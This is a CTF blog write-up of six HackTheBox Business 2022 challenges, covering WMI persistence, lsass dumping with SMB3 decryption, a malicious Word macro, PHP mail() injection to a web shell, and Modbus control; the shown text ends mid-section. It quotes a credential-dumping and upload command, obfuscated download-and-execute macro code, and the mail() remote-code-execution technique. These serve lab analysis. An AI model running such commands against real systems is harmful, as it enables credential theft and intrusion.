CTF HackTheBox Writeups

[CTF] Hackthebox Buisness

This is the writeup of 6 challenges of the great Hackthebox Business CTF 2022: Dirty Money


Welcome back!

Recent CTFs haven't given me the motivation to write, but I recently was a part of the HackTheBox Business CTF 2022 (Dirty Money). It was a CTF made for professionals only, so I didn't participate with my regular team, but with my colleagues from EDF. It was quite a challenge, the level was higher than most recent CTFs I did, but it was a lot of fun.

This article is a write-up of some challenges I solved. Almost none of these challenges were solved by me only, for most of them, it was a team effort.

This post will be rather long because it compiles 6 very different challenges. Here is a small sum up of each challenge if you're interested in a particular one (my personal favourites among this list where Rogue and State of Emergency):

  • [Reverse] Breakout: Very easy challenge about how you can easily recover the binary of a running process, even after deletion of the original file.
  • [Forensics] Perseverance: Easy challenge about WMI persistence, and how easy accessing .NET assembly original code is.
  • [Forensics] Rogue: Medium challenge about extracting credentials from the lsass process, and decrypting encrypted smb2 traffic with the NT hash.
  • [Forensics] MBcoin: Medium challenge about malicious word macros, PowerShell obfuscation, and malicious DLLs.
  • [Web] Letter Dispair: Easy challenge about the vulnerable PHP mail() function.
  • [Hardware] State of Emergency: Medium challenge about low-level control over the industrial Modbus protocol.


[Reverse] Breakout

This is the first challenge I solved, and was probably the easiest challenge of the CTF.

"The CCSS suffered a ransomware attack that compromised the Unique Digital Medical File (EDUS) and the National Prescriptions System for the public pharmacies. They've reported that their infrastructure has been compromised, and they cannot regain access. The APT left their implant interface exposed, though, and you'll need to break into it and find out how it works. NOTE: This challenge is intended to be solved before 'Breakin'."

There were no files associated with the challenge. Once the docker was spawned, it gave access to a web server, giving access to the entire machine from the browser. It's the APT's implant interface.


Let's go and see what processes are running by going to the proc folder.

There are two running, PID 1, which is the init process for a regular machine, and here because it's a docker container. The second process is more interesting. The binary itself can be downloaded from: http://ip/proc/pid/exe.

$ strings bkd | grep HTB{                                 

The flag is in there, but there is a part missing. Let's add a few lines.

$ strings bkd | grep -A8 HTB{                          

That's better, a little magic to have nice formatting for easy copy/paste?

$ strings bkd | grep -A8 HTB{ | awk '1' RS='H\n' ORS=''

If you take a closer look at the binary itself in IDA for example, you'll see that this is actually the web server that is running. There are a few secret endpoints, like /ping that answers "pong", or /secret. However, this endpoint is systematically unauthorized. The only way to get the flag is to use the strings command or use a reverse engineering tool.

Screenshot of the getSecret function, describing the GET /secret endpoint
Screenshot of the getSecret function, describing the GET /secret endpoint

[Forensics] Perseverance

"During a recent security assessment of a well-known consulting company, the competent team found some employees’ credentials in publicly available breach databases. Thus, they called us to trace down the actions performed by these users. During the investigation, it turned out that one of them had been compromised. Although their security engineers took the necessary steps to remediate and secure the user and the internal infrastructure, the user was getting compromised repeatedly. Narrowing down our investigation to find possible persistence mechanisms, we are confident that the malicious actors use WMI to establish persistence. You are given the WMI repository of the user’s workstation. Can you analyze and expose their technique?"

For this challenge, we are provided with the content of the WMI repository.

-rw-rw-r-- 1 log_s log_s 5,2M juin  24 02:23 INDEX.BTR
-rw-rw-r-- 1 log_s log_s  78K juin  24 02:23 MAPPING1.MAP
-rw-rw-r-- 1 log_s log_s  78K juin  24 02:23 MAPPING2.MAP
-rw-rw-r-- 1 log_s log_s  78K juin  24 02:18 MAPPING3.MAP
-rw-rw-r-- 1 log_s log_s  23M juin  24 02:23 OBJECTS.DATA

First of all, what is WMI? It stands for "Windows Management Instrumentation". I'm no expert on the subject, so I'll give a short description only, feel free to get deeper on the subject on other blogs, of people who know what they are talking about :).

WMI is a set of tools and extensions that allow you to manage a collection of local and remote computers/servers. If you are wondering what each of the above-listed files does, OBJECTS.DATA is the most important one, that contains every object WMI is used to manage. The other three can be considered as "dependencies" of that file, and don't really matter to us right now.

After some research on how these files can be used during a forensics investigation, and how WMI can be abused to achieve persistence, I came across various tools. The one I got to work and that got me to the next step was this one:

Basically, this tool does a keyword search inside the OBJECT.DATA file, and spots interesting entries.

PS> C:\Python27\python.exe .\WMI_Forensics\ .\OBJECTS.DATA

 Enumerating FilterToConsumerBindings...
    2 FilterToConsumerBinding(s) Found. Enumerating Filters and Consumers...


        SCM Event Log Consumer-SCM Event Log Filter
                (Common binding based on consumer and filter names, possibly legitimate)
            Consumer: NTEventLogEventConsumer ~ SCM Event Log Consumer ~ sid ~ Service Control Manager

                Filter name:  SCM Event Log Filter
                Filter Query: select * from MSFT_SCMEventLogEvent

        Windows Update-Windows Update
                Consumer Type: CommandLineEventConsumer
                Consumer Name: Windows Update

                Filter name:  Windows Update
                Filter Query: SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime 

As you can see, the second entry has a very suspicious argument set. Decoding the base64 encoded string gives the following output.


sv b (New-Object Byte[](1024));

sv r (gv d).Value.Read((gv b).Value,0,1024);

while((gv r).Value -gt 0){
    (gv o).Value.Write((gv b).Value,0,(gv r).Value);
    sv r (gv d).Value.Read((gv b).Value,0,1024);

[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@())) | Out-Null

If you take a look at the above script, it decodes from base64 the content of the Win32_MemoryArrayDevice file (line 1). It does a few operations on the result (lines 9 - 14) and then loads it as a Powershell assembly object to run it (line 16).

Let's try to get the content of this file.

$ strings * | grep -A3 Win32_MemoryArrayDevice

We get a few times the same result.


Let's replace the file reading routine with our base64 encoded string. Of course, we don't want to execute it (it's not actual malware, but we want to see what is executed). Let's run the script with our new value, but without the last line. Instead, replace it by (gv o).Value.ToArray().

This will print out a bunch of integer values, from 0 to 255 (byte values). I'm not good with PowerShell, so I decided not to waste any time, and copied the output to a text file, to convert it as a binary using python.

bytes = open("in.txt", "r").readlines()
out = b""
for b in bytes:
    out += int(b).to_bytes(1, 'big')

open("out.exe", "wb").write(out)
$ file out.exe 
out.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

The output file is a .NET assembly executable. Very much like JAVA, .NET is very easy to reverse. You can recover almost the exact original code, which allows a fairly easy code analysis. I use JetBrains DotPeak software for this kind of task.

After browsing the file, I come across this code section.

Binary opened in DotPeak

At the very end of the screenshot, there is a key variable being assigned by decoding from base64 the content of another variable, stringBuilder. If you take a look at the top of the screenshot, this variable is appended with a few different strings. Let's concatenate everything, and base64 decode the result.

$ echo "SFRCezFfdGgwdWdodF9XTTFfdzRzX2p1c3RfNF9NNE40ZzNtM250X1QwMGx9" | base64 -d

[Forensics] Rogue

"SecCorp has reached us about a recent cyber security incident. They are confident that a malicious entity has managed to access a shared folder that stores confidential files. Our threat intel informed us about an active dark web forum where disgruntled employees offer to give access to their employer’s internal network for a financial reward. In this forum, one of SecCorp’s employees offers to provide access to a low-privileged domain-joined user for 10K in cryptocurrency. Your task is to find out how they managed to gain access to the folder and what corporate secrets did they steal."

This was a very very interesting forensics challenge. I actually couldn't solve it in time, because of a silly programming error 🙁

We are just provided with a PCAP file. When opening the file, something immediately jumps out. The first TCP packet has a payload that reminds of a well-known command.

First TCP packet of the capture

So when following this TCP stream, you end up with these extracted commands/responses.

PS C:\Windows\system32> hostname
PS C:\Windows\system32> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain


CORP\Domain Admins
The command completed successfully.

PS C:\Windows\system32> Remove-Item -Path C:\windows\temp\3858793632.pmd -Force -ErrorAction Ignore; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\windows\temp\3858793632.pmd full | out-host; Compress-Archive  C:\windows\temp\3858793632.pmd  C:\windows\temp\;Remove-Item -Path C:\windows\temp\3858793632.pmd -Force -ErrorAction Ignore;$cl = New-Object System.Net.WebClient;$f = "C:\windows\temp\";$s = "";$u = New-Object System.Uri($s);$cl.UploadFile($u, $f);Remove-Item -Path C:\windows\temp\ -Force -ErrorAction Ignore;
PS C:\Windows\system32> exit

The final command is the most interesting. Let's break it down. The performed actions are :

  • Remove the file C:\windows\temp\3858793632.pmd and ignore errors (if the file doesn't exist for example).
  • Dump the lssas process to C:\windows\temp\3858793632.pmd
  • Compress the newly created file to C:\windows\temp\
  • Remove the dump
  • Upload the zip file to an FTP server
  • Remove the zip file

There are a few points I want to clarify here before continuing.

What is the lssas process ?

lssas stands for "Local Security Authority Server Service". It is the Windows process that applies the security policy measures of the machine. It's well-known by penetration testers because dumping it allows one to get his hands on very precious information, like NT hashes. I'll come back to those hashes later in the write-up.

What is the pmd format ?

The pmd extension is not referring to any format. It's actually the reverse string of dmp which is a common extension for dump files. Reversing the extension is a way to either bypass Windows Defender file detection, or just throw off CTF players.

Now that we have all this information, let's take another look at the PCAP file, which we haven't explored that much yet. The Hierarchy Statistics feature of Wireshark allows us to see that the vast majority of the packets are FTP packets (82.9% to be exact).

Protocol Hierarchy Statistics View

Let's take a look at the FTP traffic then, and see if we can recover the zip file that was transferred. The 4th TCP stream looks like this.

220 (vsFTPd 3.0.3)
USER ftpuser
331 Please specify the password.
230 Login successful.
OPTS utf8 on
200 Always in UTF8 mode.
257 "/" is the current directory
200 Switching to Binary mode.
227 Entering Passive Mode (77,74,198,52,226,112).
150 Ok to send data.
226 Transfer complete.

This is a confirmation that the file was successfully transferred via FTP. The 5th TCP stream are raw bytes. The default ASCII display of Wireshark shows that the first 2 bytes are PK. If you look up the zip file type on this website : you'll see that it's the start of this file type header bytes.

In Wireshark, switch to raw and save as to extract the zip file.

$ file Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip                             
  inflating: 3858793632.pmd
$ file 3858793632.pmd 
3858793632.pmd: Mini DuMP crash report, 13 streams, Mon Jul  4 11:39:18 2022, 0x6 type

As you can see, we successfully extracted the dump file. In case the zip file is corrupted and you can't extract the dump file, just fix it like this :

$ zip -FF --out

OK. But what now ? We have to find a way to extract information from that dump file. This took me a very very long time. After researching the lssas process dumping, I tried using Mimikatz to parse the file, which didn't work. I then tried this tool: It didn't work for me, and this is where I was stuck the longest. It later appeared that my installation was broken, and a teammate could extract all the data with the same tool and the same file.

It was a very very long file, but here is the most important part.

== LogonSession ==
authentication_id 3857660 (3adcfc)
session_id 2
username athomson
domainname CORP
logon_server CORP-DC
logon_time 2022-07-04T11:32:10.805162+00:00
sid S-1-5-21-288640240-4143160774-4193478011-1110
luid 3857660
	== MSV ==
		Username: athomson
		Domain: CORP
		LM: NA
		NT: 88d84bad705f61fcdea0d771301c3a7d
		SHA1: 60570041018a9e38fbee99a3e1f7bc18712018ba
		DPAPI: 022e4b6c4a40b4343b8371abbfa9a1a0
	== WDIGEST [3adcfc]==
		username athomson
		domainname CORP
		password None
	== Kerberos ==
		Username: athomson
		Domain: CORP.LOCAL
	== WDIGEST [3adcfc]==
		username athomson
		domainname CORP
		password None
	== DPAPI [3adcfc]==
		luid 3857660
		key_guid a61d49d1-5c3a-4849-8880-738ce6f8027b
		masterkey 00509f19c213842158ff61ac40bad16e395f7eaddc66d76e2c0e82d9803ee52bef5cd500e72ce5c261700b79832e3423ba117d88f8ae3eb71eb9c6216a3c223f
		sha1_masterkey 16f29541e8e3d010c0249048296c6b702a9bdc4d

We have a username (athomson) and the corresponding NT hash: 88d84bad705f61fcdea0d771301c3a7d.

Now, why is this NT hash so precious? Well, the NT hash is only the md4 hash of the user's password. And the password is almost never used, all internal security operations within the Windows environment are made using the NT hash. So having the NT hash is the same as having the plaintext password. If you want a better explanation, I recommend this article: It explains the pass the hash technique, and the NT hash in the process.

The final step is the most interesting. Now that we have all this information, what should we do with it? The PCAP file has actually a final purpose. There are some encrypted SMB frames along the network capture. After looking up the way to decode those frames in Wireshark, I stumbled upon this article, which has a similar problem but has done all the research for us :):

Example of some encrypted SMB frames

I'll sum up the important parts only, otherwise, it's going to be a very long article, and I would just repeat what Khris Tolbert has already written in his article.

The important thing to know is that given the right information, we can compute the encryption/decryption key (SMB3 uses the symmetric AES-CCM algorithm). The necessary pieces of information are the following :

  • User password
  • User domain
  • Username
  • NTProofStr
  • Session key

All necessary pieces of information can be computed by knowing these 5. Except for the password, every data we need can be found in the PCAP network capture.

Find a packet Session Setup Request, NTLMSSP_AUTH. There are two in the capture, with two different NTProofStr and Session key tokens, but for the same session ID. The first one is the right one (we simply tried both). Unfold the SMB data until you have all the information.

SMB packet with necessary information

The article I linked above provides a python2 script to calculate the key. However, the challenge he was working on used the plaintext password, and not the hash as we do. Here is the patched version.

import hashlib
import hmac
import argparse
from binascii import unhexlify

#stolen from impacket. Thank you all for your wonderful contributions to the community
    from Cryptodome.Cipher import ARC4
    from Cryptodome.Cipher import DES
    from Cryptodome.Hash import MD4
except Exception:
    LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")

def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):
   cipher =
   cipher_encrypt = cipher.encrypt

   sessionKey = cipher_encrypt(exportedSessionKey)
   return sessionKey

parser = argparse.ArgumentParser(description="Calculate the Random Session Key based on data from a PCAP (maybe).")
parser.add_argument("-u","--user",required=True,help="User name")
parser.add_argument("-d","--domain",required=True, help="Domain name")
parser.add_argument("-p","--password",required=True,help="Password of User")
parser.add_argument("-n","--ntproofstr",required=True,help="NTProofStr. This can be found in PCAP (provide Hex Stream)")
parser.add_argument("-k","--key",required=True,help="Encrypted Session Key. This can be found in PCAP (provide Hex Stream)")
parser.add_argument("-v", "--verbose", action="store_true", help="increase output verbosity")

args = parser.parse_args()

#Upper Case User and Domain
user = str(args.user).upper().encode('utf-16le')
domain = str(args.domain).upper().encode('utf-16le')

#Create 'NTLM' Hash of password
# passw = args.password.encode('utf-16le')
# hash1 ='md4', passw)
# password = hash1.digest()
password = unhexlify(args.password)

#Calculate the ResponseNTKey
h =, digestmod=hashlib.md5)

respNTKey = h.digest()

#Use NTProofSTR and ResponseNTKey to calculate Key Excahnge Key
NTproofStr = args.ntproofstr.decode('hex')
h =, digestmod=hashlib.md5)
KeyExchKey = h.digest()

#Calculate the Random Session Key by decrypting Encrypted Session Key with Key Exchange Key via RC4
RsessKey = generateEncryptedSessionKey(KeyExchKey,args.key.decode('hex'))

if args.verbose:
    print "USER WORK: " + user + "" + domain
    print "PASS HASH: " + password.encode('hex')
    print "RESP NT:   " + respNTKey.encode('hex')
    print "NT PROOF:  " + NTproofStr.encode('hex')
    print "KeyExKey:  " + KeyExchKey.encode('hex')    
print "Random SK: " + RsessKey.encode('hex')

The commented lines 38 to 40 are the original code, replaced by line 41.

$ python2 --user athomson --domain corp \
--password 88d84bad705f61fcdea0d771301c3a7d \
--ntproofstr d047ccdffaeafb22f222e15e719a34d4 \
--key 032c9ca4f6908be613b240062936e2d2 -v
PASS HASH: 88d84bad705f61fcdea0d771301c3a7d
RESP NT:   6bc1c5e3a6a4aba16139faad9a3cce6e
NT PROOF:  d047ccdffaeafb22f222e15e719a34d4
KeyExKey:  4765b4b66d2d5de5b323708a33d33318
Random SK: 9ae0af5c19ba0de2ddbe70881d4263ac

Our key is 9ae0af5c19ba0de2ddbe70881d4263ac. In the same packet, there is a line called "Session Id". Its value is 0x0000a00000000015.

To decrypt the SMB frames in Wireshark, go to Edit > Preferences > Protocols > SMB2 > Edit.... Create a new entry with the key and the session ID (don't forget to convert it to big-endian).

Wireshark setup to decrypt SMB traffic

Once you click "OK", it should reload the content, and display the decoded packets.

Example of decrypted SMB packets

When going to File > Export Objects > SMB there should be a new file, called "customer_information.pdf". When exporting it, and reading the third page : HTB{n0th1ng_c4n_st4y_un3ncrypt3d_f0r3v3r}

[Forensics] MBcoin

"We have been actively monitoring the most extensive spear-phishing campaign in recent history for the last two months. This campaign abuses the current crypto market crash to target disappointed crypto owners. A company’s SOC team detected and provided us with a malicious email and some network traffic assessed to be associated with a user opening the document. Analyze the supplied files and figure out what happened."

For this challenge, we are provided with a PCAP network capture, and and .doc file.

When seeing a word file, the first thing you think about is macros. Surely enough, the file contained a macro.

Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub AutoOpen()
    Dim QQ1 As Object
    Set QQ1 = ActiveDocument.Shapes(1)
    Dim QQ2 As Object
    Set QQ2 = ActiveDocument.Shapes(2)
    RO = StrReverse("\ataDmargorP\:C")
    ROI = RO + StrReverse("sbv.nip")
    ii = StrReverse("")
    Ne = StrReverse("IZOIZIMIZI")
    WW = QQ1.AlternativeText + QQ2.AlternativeText
    MyFile = FreeFile
    Open ROI For Output As #MyFile
    Print #MyFile, WW
    Close #MyFile
    fun = Shell(StrReverse("sbv.nip\ataDmargorP\:C exe.tpircsc k/ dmc"), Chr(48))
    waitTill = Now() + TimeValue("00:00:05")
    While Now() 

This actually doesn't help that much, we are missing the most important part. This appeared after doing a cat on the file. Some code lines appeared that weren't from the macro. After trying to use unzip on the file, 7z revealed the missing part.

$ 7z e mbcoin.doc -oextracted
$ ls -l extracted        
total 124
-rw-rw-r-- 1 log_s log_s   114 juin  29 16:02 '[1]CompObj'
-rw-rw-r-- 1 log_s log_s 17939 juin  29 16:02  1Table

The file 1Table contains a few code lines. This is what can be extracted.

mbcoinDim WAITPLZ, WS, k, kl
WAITPLZ = DateAdd(Chr(115), 4, Now())
Do Until (Now() > WAITPLZ)

LL1 = "$Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://priyacareers.htb/u9hDQN9Yy7g/pt.html'',''C:\ProgramData\www1.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL2 = "$Nanoz='JOOEX'.replace('JOO','I');sal OY $Nanoz;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://perfectdemos.htb/Gv1iNAuMKZ/jv.html'',''C:\ProgramData\www2.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL3 = "$Nanox='JOOEX'.replace('JOO','I');sal OY $Nanox;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://bussiness-z.htb/ze8pCNTIkrIS/wp.html'',''C:\ProgramData\www3.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL4 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://cablingpoint.htb/ByH5NDoE3kQA/vm.html'',''C:\ProgramData\www4.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL5 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://bonus.corporatebusinessmachines.htb/1Y0qVNce/tz.html'',''C:\ProgramData\www5.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"

HH6="ell "
HH0= HH9+HH8+HH7+HH6
Set Ran = CreateObject("")
Ran.Run HH0+LL1,Chr(48)
Ran.Run HH0+LL2,Chr(48)
Ran.Run HH0+LL3,Chr(48)
Ran.Run HH0+LL4,Chr(48)
Ran.Run HH0+LL5,Chr(48)

mbcoinMM1 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww1.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'gl'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'KO'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'X'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM2 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww2.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'pc'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'Au'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'P'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]};  if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM3 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww3.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'WG'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'OL'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'s'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM4 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww4.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'oN'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'Py'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'G'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM5 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww5.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'IE'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'YL'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'a'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"

Set Ran = CreateObject("")
Ran.Run HH0+MM1,Chr(48)
Ran.Run HH0+MM2,Chr(48)
Ran.Run HH0+MM3,Chr(48)
Ran.Run HH0+MM4,Chr(48)
Ran.Run HH0+MM5,Chr(48)

OK1 = "cmd /c rundll32.exe C:\ProgramData\www.dll,ldr"
OK2 = "cmd /c del C:\programdata\www*"
OK3 = "cmd /c del C:\programdata\pin*"
Ran.Run OK1, Chr(48)
Run.Run OK2, Chr(48)
Run.Run OK3, Chr(48)

This is nothing too fancy, just basic obfuscation, so I'll let you dive into it if you want to. But it basically downloads a bunch of files (pt.html, vm.html, wp.html, ...) and saves them with the DLL extension (www1.dll, www.2.dll, ...). After that, it decodes them using the same routing for every file, but with a slightly different key each time.

Now let's take a look at the PCAP file. By going to Export objects and HTTP objects, 3 files are listed, which are the files downloaded by the script above.

Now what is left for us to do, is to use the decryption routine with the correct key for each file (for vm.html and pt.html at least, since wp.html is just a HTTP 404 response text).

PS /home/log_s/Documents/CTF/HtB_Buisness/mbcoin> $b = [System.IO.File]::ReadAllBytes('/home/log_s/Documents/CTF/HtB_Buisness/mbcoin/pt.html');$k = "6iIgloMk5iRYAw7ZTWed0CrjuZ9wijyQDjKO9Ms0D8K0Z2H5MX6wyOKqFxlOm1XpjmYfaQXacA6";$r = New-Object Byte[] $b.length;for($i=0; $i -lt $b.length; $i++) {    $r[$i] = $b[$i] -bxor $k[$i%$k.length]};if ($r.length -gt 0) {     [System.IO.File]::WriteAllBytes("/home/log_s/Documents/CTF/HtB_Buisness/mbcoin/pt.dll", $r)}
PS /home/log_s/Documents/CTF/HtB_Buisness/mbcoin> $b = [System.IO.File]::ReadAllBytes('/home/log_s/Documents/CTF/HtB_Buisness/mbcoin/vm.html');$k = "6iIoNoMk5iRYAw7ZTWed0CrjuZ9wijyQDjPy9Ms0D8K0Z2H5MX6wyOKqFxlOm1GpjmYfaQXacA6";$r = New-Object Byte[] $b.length;for($i=0; $i -lt $b.length; $i++) {    $r[$i] = $b[$i] -bxor $k[$i%$k.length]};if ($r.length -gt 0) {     [System.IO.File]::WriteAllBytes("/home/log_s/Documents/CTF/HtB_Buisness/mbcoin/vm.dll", $r)}

A quick analysis of the two resulting files will give us the flag. When opening pt.dll in IDA, we can notice a ldr function. The decompiled version of it is:

int ldr()
  return MessageBoxW(0i64, L"Are you sure this is the DLL that executed on the system?", L"Oops", 0);

Well then, let's take a look at vm.dll then. The same function appears in this file, but with different content.

int ldr()
  return MessageBoxW(0i64, L"HTB{wH4tS_4_sQuirReLw4fFl3?}", L"Congratulations!", 0);

[Web] Letter Dispair

"A high-profile political individual was a victim of a spear-phishing attack. The email came from a legitimate government entity in a nation we don't have jurisdiction. However, we have traced the originating mail to a government webserver. Further enumeration revealed an open directory index containing a PHP mailer script we think was used to send the email. We need access to the server to read the logs and find out the actual perpetrator. Can you help?"

When spawning this challenge, we get access to an nginx server.

Screenshot of the nginx server

The contains the source code mailer.php. When reviewing the source code, I thought of different things, like a rogue attachment file, that would trigger arbitrary code. But when looking closely, one can notice a call to the mail() function.

return mail($to, $subject, $this->output, implode($this->lf, $headers) , "-f$from_addr");

What's really interesting and got my attention is that the user controls (almost) every parameter that is passed to the function.

With the help of this article, it was quite easy to achieve remote code execution:

The article presents this structure to be effective:

$to = 'a@b.c';
$subject = '';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
mail($to, $subject, $message, $headers, $options);

In our case it translates to this:

Screenshot of the exploit configuration
Screenshot of the exploit configuration

The email list field doesn't matter. The important part is the payload that is inputted via the subject field, which is a well-known short PHP web shell. Finally, if you take another look at the mail() call in the source code, the last passed argument (options field) is "-f$from_addr", which basically puts the content of the "from" field in it.

Once we hit "Start delivery", it will create a rce.php file.

Screenshot with the newly created rce.php file

Navigating to /rce.php?cmd=id gives the following result:

00019 --- To: "a" 00019 --- Subject: uid=1000(www) gid=1000(www) groups=1000(www) 00019 --- MIME-Version: 1.0 00019 --- From: -OQueueDirectory=/tmp -X/var/www/html/rce.php 00019 --- 00019 --- 00019 --- [EOF]

The hard part is done! Well almost... The challenge stated that we needed to take a look at the server's logs... After going through every log file I could think of, I finally found the flag.txt file located in the system's root folder / 🙂

[Hardware] State of Emergency

This challenge was interesting, even if it suffered from light design flaws, which made it harder than it actually was. However, it was a nice and fun challenge to solve.

"A DDoS attack is ongoing against our capital city's water management system. Every facility in this system appears to be infected by malware that rendered the HMI interfaces unusable, thus locking out every system administrator out of the SCADA infrastructure. The incident response team has managed to pinpoint the organization's objective which is to contaminate the public water supply system with toxic chemicals from the water treatment facility. We need to neutralize the threat before it's too late! We have also prepared a brief for you with all the information you might need."

The challenge comes with a pdf file, describing the water facility's PLCs structure and integration. The major part of the challenge was to understand this documentation piece.

The first page describes how the different tanks are physically linked together, and what part of the infrastructure we could control. Here you can notice that we have control over every green sensor/actuator.

Page 1: physical description
Page 1: physical description

The second page shows off a state diagram of the water tank. It was for me the less useful diagram because the next page explains in a better way the necessary information about this tank.

Page 2: State diagram of the water tank
Page 2: State diagram of the water tank

Now comes page 3, which is a logic diagram of the water tank, which will help us in our research of the "winning" state of the facility, at least for the water tank.

Page 3: Logic diagram for the water tank
Page 3: Logic diagram for the water tank

The next page is again a state diagram but for the mixer tank this time.

Page 4: State diagram of the Mixer Tank
Page 4: State diagram of the Mixer Tank

The final page is the most important one. It provides the coil offsets, to control the different sensors/actuators.

Page 5: Coil offsets for the different sensors/actuators
Page 5: Coil offsets for the different sensors/actuators

Now to the resolution. The design flaw I was talking about occurred at this step. The 5th page describes how to communicate with the facility, but it's not quite clear. I spent so much time trying to get a response, using the usual pyModbus library, or attempting to forge packets with scapy, remove the checksum, and send them via a TCP connection. The solution lay totally elsewhere.

$ nc ip port                  
Water Purification Facility Command Line Interface
[*] Entering interactive mode [Press "H" for available commands]
cmd> H
[*] Available commands:
system: Get system status 
modbus: Send command to the network (hex format: AABBCCDDEE[FF])
exit: Exit the interface

Ok, that's progress. Now, what is the correct Modbus format?

Equipment address Command number Coil offset Value
1 byte 1 byte 2 bytes 2 bytes

Example: 070500CC0000

  • address: 0x7
  • command: 0x5
  • coil: 0xCC
  • value: 0x0

